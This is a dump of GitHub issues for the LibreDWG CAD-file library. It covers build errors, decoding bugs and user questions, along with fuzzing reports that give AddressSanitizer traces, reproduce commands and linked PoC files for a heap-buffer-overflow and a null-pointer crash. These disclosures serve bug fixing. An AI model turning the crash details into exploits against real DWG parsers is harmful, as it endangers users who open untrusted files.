CC decode_r2007.lo
dwg.c: In function 'dwg_sections_init':
dwg.c:3421:58: error: 'calloc' sizes specified with 'sizeof' in the earlier argument and not in the later argument [-Werror=calloc-transposed-args]
3421 | dwg->header.section = (Dwg_Section *)calloc (sizeof (Dwg_Section),
| ^~~~~~~~~~~
dwg.c:3421:58: note: earlier argument should specify number of elements, later size of each element
cc1: all warnings being treated as errors
make[4]: *** [Makefile:735: dwg.lo] Error 1
make[4]: *** Waiting for unfinished jobs....
make[4]: Leaving directory '/tmp/libredwg-0.13/src'
make[3]: *** [Makefile:754: all-recursive] Error 1
make[3]: Leaving directory '/tmp/libredwg-0.13/src'
make[2]: *** [Makefile:596: all] Error 2
make[2]: Leaving directory '/tmp/libredwg-0.13/src'
make[1]: *** [Makefile:712: all-recursive] Error 1
make[1]: Leaving directory '/tmp/libredwg-0.13'
make: *** [Makefile:591: all] Error 2
```
</details>
|
gcc-14 build errors: -Wcalloc-transposed-args, -Walloc-size
|
https://api.github.com/repos/LibreDWG/libredwg/issues/931/comments
| 3 |
2024-02-04T02:40:31Z
|
2024-02-04T20:33:46Z
|
https://github.com/LibreDWG/libredwg/issues/931
| 2,116,841,394 | 931 |
[
"LibreDWG",
"libredwg"
] |
They do have stable r2004 dwg write support, MIT licensed, C#
|
Check github.com/DomCR/ACadSharp for 2004 writers
|
https://api.github.com/repos/LibreDWG/libredwg/issues/927/comments
| 0 |
2024-01-27T07:41:47Z
|
2024-02-10T18:39:19Z
|
https://github.com/LibreDWG/libredwg/issues/927
| 2,103,386,891 | 927 |
[
"LibreDWG",
"libredwg"
] |
The memory leak is found by a static analyzer developed at [CAST]( https://www.linkedin.com/company/cast-center/).
The memory allocated [at line 3290](https://github.com/LibreDWG/libredwg/blob/057653b37a7bb45cdfa8cecddfaad95b8c20c441/src/bits.c#L3290) may left without free in case of returning from [line 3366](https://github.com/LibreDWG/libredwg/blob/057653b37a7bb45cdfa8cecddfaad95b8c20c441/src/bits.c#L3366).
|
Memory leak in function 'bit_TV_to_utf8'
|
https://api.github.com/repos/LibreDWG/libredwg/issues/926/comments
| 2 |
2024-01-26T11:40:56Z
|
2024-02-26T15:20:49Z
|
https://github.com/LibreDWG/libredwg/issues/926
| 2,102,079,976 | 926 |
[
"LibreDWG",
"libredwg"
] |
Example file:
[mlinestyle2.dwg.gz](https://github.com/LibreDWG/libredwg/files/14044142/mlinestyle2.dwg.gz)
[mlinestyle2.dxf.gz](https://github.com/LibreDWG/libredwg/files/14044143/mlinestyle2.dxf.gz)
Error:
```
Next object: 27 Handleoff: 0x2F [UMC] Offset: 235 [MC] @2779
==========================================
Object number: 27/1B, Size: 100 [MS], Type: 73 [BS], Address: 2781
Add object MLINESTYLE [27] Decode object MLINESTYLE
handle: 0.1.4C [H 5]
EED[0] size: 0 (end)
num_eed: 0
bitsize: 758 [RL]
Hdlsize: 0x2A, hdl_dat: @94.6 - @100.0 (100)
num_reactors: 1 [BL 0]
ownerhandle: (4.1.E) abs:14 [H 330]
reactors[0]: (4.1.E) abs:14 [H* 330] => DICTIONARY
xdicobjhandle: (3.0.0) abs:0 [H 360]
--common_size: 60
name: "FOO" [T 2]
description: "Description" [T 0]
flag: 592 [BS 70]
fill_color.index: 0 [CMC.BS 62]
start_angle: 1.5708 [BD 51] 90º
end_angle: 1.5708 [BD 52] 90º
num_lines: 6 [RC 71]
ERROR: Invalid MLINESTYLE.lines x 6
object_map{4C} = 27
padding: 80/0 (6 bits)
crc: BBCE [RSx]
check_CRC 2779-2881 = 102: BBCE == BBCE
```
The error is because code in src/dec_macros.c:
```
...
#define _REPEAT(times, nam, type, idx) \
REPEAT_CHKCOUNT_LVAL (nam, _obj->times, type) \
if (_obj->times > 0)
...
#define REPEAT_CHKCOUNT_LVAL(name, times, type) \
if (AVAIL_BITS (dat) < 0) \
{ \
LOG_ERROR ("Invalid %s." #name ". No bytes left.\n", SAFEDXFNAME); \
times = 0; \
if (_obj->name) \
{ \
free (_obj->name); \
_obj->name = NULL; \
} \
return DWG_ERR_VALUEOUTOFBOUNDS; \
} \
LOG_INSANE ("REPEAT_CHKCOUNT_LVAL %s." #name " x %lu: %lu > %" PRId64 \
"?\n", \
SAFEDXFNAME, (unsigned long)times, \
(unsigned long)((times) * sizeof (type)), AVAIL_BITS (dat)); \
if ((int64_t)((times) * sizeof (type)) > AVAIL_BITS (dat) \
|| (sizeof (times) > 4 && times > 0xc0000000 / sizeof (type))) \
{
...
```
The ```REPEAT_CHKCOUNT_LVAL``` not working.
in include/dwg.h is:
```
/**
MLINESTYLE (73) object
*/
typedef struct _dwg_MLINESTYLE_line
{
struct _dwg_object_MLINESTYLE *parent;
BITCODE_BD offset;
BITCODE_CMC color;
BITCODE_BSd lt_index; /* until 2018 */
BITCODE_H lt_ltype; /* since 2018 */
} Dwg_MLINESTYLE_line;
```
In real e.g. R14 is used structure without ```BITCODE_H lt_ltype;```
However, the check compares the size of the full structure to the data.
When I comment ```REPEAT_CHKCOUNT_LVAL (nam, _obj->times, type)```, log is without error.
|
Issue in MLINESTYLE object
|
https://api.github.com/repos/LibreDWG/libredwg/issues/924/comments
| 2 |
2024-01-24T22:16:11Z
|
2024-02-05T08:55:42Z
|
https://github.com/LibreDWG/libredwg/issues/924
| 2,099,205,780 | 924 |
[
"LibreDWG",
"libredwg"
] |
When I compile master version of libredwg and test ```dwg2dxf --version``` I have weird version:
```
> dwg2dxf --version
dwg2dxf 0.12.4.4300.12_4c21_dirty
```
|
Bad version in programs
|
https://api.github.com/repos/LibreDWG/libredwg/issues/922/comments
| 3 |
2024-01-21T21:32:40Z
|
2024-01-22T21:24:14Z
|
https://github.com/LibreDWG/libredwg/issues/922
| 2,092,783,342 | 922 |
[
"LibreDWG",
"libredwg"
] |
geojson parsing, return error code "0x941", what is the meaning of this code?
|
error code 0x941
|
https://api.github.com/repos/LibreDWG/libredwg/issues/919/comments
| 11 |
2024-01-09T02:52:49Z
|
2024-01-11T10:21:20Z
|
https://github.com/LibreDWG/libredwg/issues/919
| 2,071,536,689 | 919 |
[
"LibreDWG",
"libredwg"
] |
I compiled libredwg for converting with dwg2dxf on a Ubuntu 23.10
If I run dwg2dxf file2019.dwg file2019.dwg
I get this Error:
```
Reading DWG file file2019.dwg
Warning: checksum: 0x2fbea88a (calculated) CRC mismatch 0x29367234-0x29398170
ERROR:
Invalid comp_bytes 4 > 3 bytes left (vs 3)
ERROR: Failed to read R2004 Section Page Map.
ERROR: Failed to decode file: `file2019.dwg` 0x440
READ ERROR 0x440
Reading DWG file file2019.dxf
ERROR: File not found: `file2019.dxf`
READ ERROR 0x1000
```
If I open AutoCAD and convert it into v2000, and try it again. I get this error:
```
Reading DWG file file2000.dwg
Warning: Unstable Class object 504 TABLESTYLE (0xfff) 34/0
Warning: Unstable Class object 505 MATERIAL (0x481) 46/0
Warning: Unstable Class object 505 MATERIAL (0x481) 47/0
Warning: Unstable Class object 505 MATERIAL (0x481) 48/0
Warning: Unstable Class object 508 MLEADERSTYLE (0xfff) 69/0
Warning: Unknown Class object 539 AT_VIEWPORTTABLEREACTOR (0x400)
Warning: Unstable Class object 551 RAPIDRTRENDERSETTINGS (0x400) 151/0
Warning: Unhandled Class object 547 ACDBASSOCPERSSUBENTMANAGER (0x400) 152/0
Warning: Unhandled Class object 548 ACDBPERSSUBENTMANAGER (0x400) 153/0
Warning: Unknown Class object 552 KS_DATARECORD (0x0)
Warning: Unknown Class object 552 KS_DATARECORD (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 553 Ks_BoltStyle (0x0)
Warning: Unknown Class object 554 Ks_WeldStyle (0x0)
Warning: Unknown Class object 554 Ks_WeldStyle (0x0)
Warning: Unknown Class object 554 Ks_WeldStyle (0x0)
Warning: Unknown Class object 554 Ks_WeldStyle (0x0)
Warning: Unknown Class object 555 Ks_KoteflagStyle (0x0)
Warning: Unknown Class object 555 Ks_KoteflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 556 Ks_PosflagStyle (0x0)
Warning: Unknown Class object 557 KS_SHAPEREFERENCE (0x0)
Warning: Unknown Class object 557 KS_SHAPEREFERENCE (0x0)
Warning: Unknown Class object 552 KS_DATARECORD (0x0)
Warning: Unknown Class object 557 KS_SHAPEREFERENCE (0x0)
Warning: Unknown Class object 561 KS_HANDRAILNEWREACTOR (0x0)
Warning: Unknown Class object 557 KS_SHAPEREFERENCE (0x0)
Warning: Unknown Class object 557 KS_SHAPEREFERENCE (0x0)
ERROR: Invalid xdata type -7864 [RS]
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 558 KS_SHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class entity 559 KS_ARCSHAPE (0xbff)
Warning: Unknown Class object 564 KS_GROUPDATA (0x0)
Warning: Unknown Class object 561 KS_HANDRAILNEWREACTOR (0x0)
Warning: Unstable Class object 517 ACAD_EVALUATION_GRAPH (0x481) 337/0
Warning: Unstable Class object 517 ACAD_EVALUATION_GRAPH (0x481) 341/0
Warning: Unstable Class object 517 ACAD_EVALUATION_GRAPH (0x481) 346/0
Warning: Unstable Class object 517 ACAD_EVALUATION_GRAPH (0x481) 350/0
Warning: Unhandled Class object 573 ACSH_LOFT_CLASS (0x481) 351/0
Warning: Unstable Class object 517 ACAD_EVALUATION_GRAPH (0x481) 354/0
Warning: Unstable Class object 517 ACAD_EVALUATION_GRAPH (0x481) 357/0
killed
```
|
dwg 2019: Invalid comp_bytes 4 > 3 bytes left (vs 3)
|
https://api.github.com/repos/LibreDWG/libredwg/issues/918/comments
| 15 |
2024-01-08T10:53:13Z
|
2024-02-15T13:53:57Z
|
https://github.com/LibreDWG/libredwg/issues/918
| 2,070,198,748 | 918 |
[
"LibreDWG",
"libredwg"
] |
We have a log for TDINDWG and TDUSRTIMER like:
```
TDINDWG: [1, 18474850] 1900-01-00 04:26:02 [TIMEBLL 40]
TDUSRTIMER: [1, 18474804] 1900-01-00 04:26:02 [TIMEBLL 40]
```
But this is not fine.
The result is something ```1 day and 04:26:02 minutes```.
|
Improve log for TDINDWG and TDUSRTIMER
|
https://api.github.com/repos/LibreDWG/libredwg/issues/916/comments
| 1 |
2024-01-05T07:27:24Z
|
2024-02-06T07:21:13Z
|
https://github.com/LibreDWG/libredwg/issues/916
| 2,066,863,622 | 916 |
[
"LibreDWG",
"libredwg"
] |
I guess with the handles search changes lately
|
Massive indxf performance regression
|
https://api.github.com/repos/LibreDWG/libredwg/issues/912/comments
| 0 |
2024-01-01T08:31:14Z
|
2024-01-01T08:31:27Z
|
https://github.com/LibreDWG/libredwg/issues/912
| 2,061,413,024 | 912 |
[
"LibreDWG",
"libredwg"
] |
one of the last asan trips without fuzzing.
E.g. OUT=2 examples/llvmfuzz_standalone ../test/test-data/2000/Pyramid.dxf
|
dxfb_3dsolid heap-buffer-overflow with VALUE_BINARY (s, l)
|
https://api.github.com/repos/LibreDWG/libredwg/issues/911/comments
| 0 |
2023-12-31T07:40:52Z
|
2024-01-02T12:47:27Z
|
https://github.com/LibreDWG/libredwg/issues/911
| 2,060,973,518 | 911 |
[
"LibreDWG",
"libredwg"
] |
One of the last remaining heap-buffer-overflows without illegal input (fuzzing). Normally only encountered with in_dxf.
e.g. OUT=3 examples/llvmfuzz_standalone ../test/test-data/2018/ltype.dxf or
OUT=0 VER=8 examples/llvmfuzz_standalone ../test/test-data/2018/ltype.dxf
|
LTYPE.strings_area up/downconverters needed?
|
https://api.github.com/repos/LibreDWG/libredwg/issues/910/comments
| 2 |
2023-12-31T07:32:13Z
|
2024-01-02T12:47:09Z
|
https://github.com/LibreDWG/libredwg/issues/910
| 2,060,971,486 | 910 |
[
"LibreDWG",
"libredwg"
] |
Where did you find the original md file?
I'm trying to apply the patch to the pdf but it's not documented and nothing I try works:
```
patch < ODA-5.4.2-libredwg-diff.pdf OpenDesign_Specification_for_.dwg_files.pdf
patch: **** Only garbage was found in the patch input.
git apply < ODA-5.4.2-libredwg.patch
error: doc/ODA-5.4.2-libredwg.md: No such file or directory
```
|
Where to find ODA-5.4.1.md?
|
https://api.github.com/repos/LibreDWG/libredwg/issues/909/comments
| 1 |
2023-12-30T21:29:04Z
|
2023-12-31T07:28:22Z
|
https://github.com/LibreDWG/libredwg/issues/909
| 2,060,861,477 | 909 |
[
"LibreDWG",
"libredwg"
] |
It looks like (b) versions are skipped a lot, for instance in dwg_decode(), you have:
```
PRE (R_13b1)
...
VERSIONS (R_13b1, R_2000)
...
VERSION (R_2004)
...
VERSION (R_2007)
...
SINCE (R_2010)
...
// This line should not be reached
...
```
meaning R_2000i, R_2002, R_2004a, R2004b, R2004c, R_2007a, R_2007b, R2010b get skipped and that last line gets reached when trying to decode one of those versions.
|
skipped versions
|
https://api.github.com/repos/LibreDWG/libredwg/issues/908/comments
| 2 |
2023-12-29T06:41:02Z
|
2024-02-26T15:19:32Z
|
https://github.com/LibreDWG/libredwg/issues/908
| 2,059,124,693 | 908 |
[
"LibreDWG",
"libredwg"
] |
In subclass AbstractViewTableRecord (dwg.spec); should be renamed to _4BITS or something
|
illegal identifier: 4BITS
|
https://api.github.com/repos/LibreDWG/libredwg/issues/906/comments
| 1 |
2023-12-27T19:47:44Z
|
2023-12-27T19:48:52Z
|
https://github.com/LibreDWG/libredwg/issues/906
| 2,057,723,055 | 906 |
[
"LibreDWG",
"libredwg"
] |
This subclass in dwg.spec (currently line 11930) seems to be the only one referenced by all capitals instead of camelcase:
ACDBASSOCOSNAPPOINTREFACTIONPARAM
Judging by the pattern in other DWG_OBJECT declarations, it doesn't seem right, but I could be wrong.
|
accidental line? ACDBASSOCOSNAPPOINTREFACTIONPARAM
|
https://api.github.com/repos/LibreDWG/libredwg/issues/905/comments
| 1 |
2023-12-26T12:44:35Z
|
2024-01-02T12:57:33Z
|
https://github.com/LibreDWG/libredwg/issues/905
| 2,056,380,542 | 905 |
[
"LibreDWG",
"libredwg"
] |
Hello everyone, thanks for the author's contribution, let me have the opportunity to use libredwg in my work, now I encounter a problem, such as I read the Dwg_Entity_LINE, insert points I can easily get, but for example, how to obtain the "layer" and "ltype" but no idea, do you have any relevant routines? thanks
for (i = 0; i < dwg.num_objects; i++)
{
switch (dwg.object[i].fixedtype)
{
case DWG_TYPE_LINE:
{line = dwg.object[i].tio.entity->tio.LINE;
color=dwg.object[i].tio.entity->color;
//layer=??
//ltype=??
|
How to read the Dwg_Entity_LINE: layer and ltype?
|
https://api.github.com/repos/LibreDWG/libredwg/issues/903/comments
| 1 |
2023-12-25T04:10:39Z
|
2023-12-25T08:21:16Z
|
https://github.com/LibreDWG/libredwg/issues/903
| 2,055,354,448 | 903 |
[
"LibreDWG",
"libredwg"
] |
I'm trying to extract the text from `MTEXT` entities from `.dwg` file.
the text of the MTEXT in my file are 2 characters (example: 01, 02, etc),
but I only get the first letter of the text.
I'm on version 0.12.5 working on Ubuntu 22.04.
The version of dwg is AC1032.
here is a snippet of how I'm trying to get the text:
```
int main() {
Dwg_Data dwg;
dwg_read_file("my_file.dwg", &dwg);
for (size_t i=0; i<dwg.num_objects; i++) {
Dwg_Object object = dwg.object[i];
switch (object.fixedtype) {
case DWG_TYPE_MTEXT: {
Dwg_Entity_MTEXT *mtext = object.tio.entity->tio.MTEXT;
printf("text: %s\n", mtext->text);
}
}
}
}
```
I also tried looping over the pointer with size 2 (size of my text), but it will only print the first letter.
while I was trying to debug, I wanted to look at the raw data,
but the address of the `Dwg_Object` gave the address: 275,739,
although the size of the file is 114,537.
The comment of the address member in the header file says its the offset in the file,
but since its a to big of a number I'm guessing there is a problem with the way I'm handling things.
Hopefully it's not a bug and I'm just reading the text incorrectly, if it is a bug I'd by happy to help fix it.
|
entity MTEXT member text reads only the first character
|
https://api.github.com/repos/LibreDWG/libredwg/issues/902/comments
| 9 |
2023-12-21T14:58:08Z
|
2023-12-25T09:00:04Z
|
https://github.com/LibreDWG/libredwg/issues/902
| 2,052,582,200 | 902 |
[
"LibreDWG",
"libredwg"
] |
cases are private
|
uninitialized memory cases found by fuzzing
|
https://api.github.com/repos/LibreDWG/libredwg/issues/901/comments
| 1 |
2023-12-21T09:36:00Z
|
2023-12-25T08:24:57Z
|
https://github.com/LibreDWG/libredwg/issues/901
| 2,052,058,671 | 901 |
[
"LibreDWG",
"libredwg"
] |
Hello, I found a bug in dwg2dxf.
## environment
- ubuntu 20.04, GCC 9.4.0, libredwg latest commit https://github.com/LibreDWG/libredwg/commit/b9795eaac10bdfb0394f959ea39b1d00750c3a46
- not reproducible on the release 0.12.5
compile with ASAN
```
export CFLAGS="-fsanitize=address -g"
export CXXFLAGS="-fsanitize=address -g"
./autogen.sh && ./configure --disable-shared && make -j$(nproc)
```
## ASAN LOG
reproduce command: ` ./dwg2dxf $PoC`
```
root@b6092ec2626f:/libredwg/programs# ./dwg2dxf /dwg2dxf_poc2
Reading DWG file /dw2dxf_poc2
=================================================================
==54463==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000f2 at pc 0x560b164dbddc bp 0x7ffdb3029fd0 sp 0x7ffdb3029fc0
READ of size 2 at 0x6020000000f2 thread T0
#0 0x560b164dbddb in dwg_section_wtype /libredwg/src/dwg.c:1806
#1 0x560b17316b81 in read_sections_map /libredwg/src/decode_r2007.c:957
#2 0x560b173794a7 in read_r2007_meta_data /libredwg/src/decode_r2007.c:2388
#3 0x560b165b11f6 in decode_R2007 /libredwg/src/decode.c:3480
#4 0x560b16509de6 in dwg_decode /libredwg/src/decode.c:235
#5 0x560b164d1369 in dwg_read_file /libredwg/src/dwg.c:268
#6 0x560b164ceed8 in main /libredwg/programs/dwg2dxf.c:261
#7 0x7fc30853a082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#8 0x560b164cdd6d in _start (/libredwg/programs/dwg2dxf+0x25cd6d)
0x6020000000f3 is located 0 bytes to the right of 3-byte region [0x6020000000f0,0x6020000000f3)
allocated by thread T0 here:
#0 0x7fc308964a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x560b173168bb in read_sections_map /libredwg/src/decode_r2007.c:946
#2 0x560b173794a7 in read_r2007_meta_data /libredwg/src/decode_r2007.c:2388
#3 0x560b165b11f6 in decode_R2007 /libredwg/src/decode.c:3480
#4 0x560b16509de6 in dwg_decode /libredwg/src/decode.c:235
#5 0x560b164d1369 in dwg_read_file /libredwg/src/dwg.c:268
#6 0x560b164ceed8 in main /libredwg/programs/dwg2dxf.c:261
#7 0x7fc30853a082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/dwg.c:1806 in dwg_section_wtype
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa fd fd fa fa 00 00 fa fa 00 fa fa fa 00 fa
=>0x0c047fff8010: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa[03]fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==54463==ABORTING
```
## PoC
[PoC.zip](https://github.com/LibreDWG/libredwg/files/13699532/PoC.zip)
|
[FUZZ] Heap buffer overflow in decode r2007, dwg_section_wtype
|
https://api.github.com/repos/LibreDWG/libredwg/issues/899/comments
| 1 |
2023-12-18T04:55:24Z
|
2023-12-19T08:31:20Z
|
https://github.com/LibreDWG/libredwg/issues/899
| 2,045,737,339 | 899 |
[
"LibreDWG",
"libredwg"
] |
Issue is from MC0.0.
Example (AC1.40):
[COMPLEX.DWG.gz](https://github.com/LibreDWG/libredwg/files/13620618/COMPLEX.DWG.gz)
```
...
@offset 0x185
type: 14 [RS]
Add entity INSERT [21] Decode entity INSERT
===========================
Entity number: 21, Type: 14, Addr: 388
layer: 1 [H(RSd) 8]
object_map{2F} = 21
=> handle: (0.1.2F)
block_name: "BLOCK1" [TV 2]
ins_pt: (6, 1) [2RD 10]
scale: (0.5, 0.5) [2RD 41]
rotation: 0.523599 [RD 50] 30º
@offset 0x1b9
type: 10 [RS]
Add entity LOAD [22] Decode entity LOAD
===========================
Entity number: 22, Type: 10, Addr: 3bc
layer: 1 [H(RSd) 8]
object_map{2F} = 22
ERROR: Duplicate handle 2F for object 22 already points to object 21
=> handle: (0.0.2F)
file_name: "ES" [TV 1]
@offset 0x1c1
type: 4 [RS]
Add entity SHAPE [23] Decode entity SHAPE
===========================
Entity number: 23, Type: 4, Addr: 3c4
layer: 1 [H(RSd) 8]
object_map{2F} = 23
ERROR: Duplicate handle 2F for object 23 already points to object 21
=> handle: (0.0.2F)
ins_pt: (6, 6) [2RD 10]
scale: 1 [RD 40]
rotation: 0.523599 [RD 50] 30º
style_id: 131 [RS 0]
...
```
|
Duplicate handles in preR13
|
https://api.github.com/repos/LibreDWG/libredwg/issues/891/comments
| 2 |
2023-12-08T20:24:23Z
|
2023-12-23T16:42:06Z
|
https://github.com/LibreDWG/libredwg/issues/891
| 2,033,270,091 | 891 |
[
"LibreDWG",
"libredwg"
] |
Hello, I found a bug in dwg2dxf.
## environment
- ubuntu 20.04, GCC 9.4.0, libredwg latest commit https://github.com/LibreDWG/libredwg/commit/76a574c2b7ecaab13a5ad7c9a9ba82074a5614fe
- **not reproducible on the release 0.12.5**
compile with ASAN
```
export CFLAGS="-fsanitize=address -g"
export CXXFLAGS="-fsanitize=address -g"
./autogen.sh && ./configure --disable-shared && make -j$(nproc)
```
## ASAN Log
```
root@535d9a1d505e:/# ./programs/dwg2dxf /dwg_poc1
Reading DWG file /dwg_poc1_trim
ERROR: Header CRC mismatch 3030 <=> 9E42
Warning: Fixup illegal Header Length
ERROR: bit_read_BD: unexpected 2-bit code: '11'
ERROR: Invalid BD unit2_ratio
Warning: Header Section[48] CRC mismatch 3030 <=> 5E4D
ERROR: Invalid size 808464432, should be: 298, endpos: 12640
ERROR: Invalid object type 49344, only 0 classes
ERROR: Invalid class index 48844 >= 0
ERROR: MS size overflow @18446744073668669582
ERROR: MS size overflow @18446744073668669582
ERROR: MS size overflow @18446744073668669600
ERROR: MS size overflow @18446744073668669770
ERROR: MS size overflow @18446744073668669818
ERROR: MS size overflow @18446744073668669866
ERROR: MS size overflow @18446744073668669914
ERROR: MS size overflow @18446744073668669962
ERROR: MS size overflow @18446744073668670010
ERROR: MS size overflow @18446744073668670058
ERROR: MS size overflow @18446744073668670106
ERROR: MS size overflow @18446744073668670154
ERROR: MS size overflow @18446744073668670202
ERROR: MS size overflow @18446744073668670250
ERROR: MS size overflow @18446744073668670298
ERROR: MS size overflow @18446744073668670346
ERROR: MS size overflow @18446744073668670394
ERROR: MS size overflow @18446744073668670442
ERROR: MS size overflow @18446744073668670490
ERROR: bit_read_RC buffer overflow at 21600.0 >= 21600
ERROR: MS size overflow @18446744073668670490
ERROR: bit_read_RC buffer overflow at 21600.0 >= 21600
ERROR: bit_read_RC buffer overflow at 21600.0 >= 21600
Warning: handleoff 0x0 looks wrong, max_handles 60 - last_handle 0 = 60 (@21600)
ERROR: bit_read_RC buffer overflow at 21600.0 >= 21600
ERROR: bit_read_RS buffer overflow at 21600.0 >= 21600
ERROR: AddressSanitizer:DEADLYSIGNAL
=================================================================
==167486==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000020 (pc 0x55fb6333b255 bp 0x7ffe08a3e710 sp 0x7ffe08a3e4a0 T0)
==167486==The signal is caused by a READ memory access.
==167486==Hint: address points to the zero page.
#0 0x55fb6333b254 in secondheader_private /benchmark_vuln/source/vuln/libredwg/src/2ndheader.spec:42
#1 0x55fb633182a0 in decode_R13_R2000 /benchmark_vuln/source/vuln/libredwg/src/decode.c:937
#2 0x55fb632fee27 in dwg_decode /benchmark_vuln/source/vuln/libredwg/src/decode.c:232
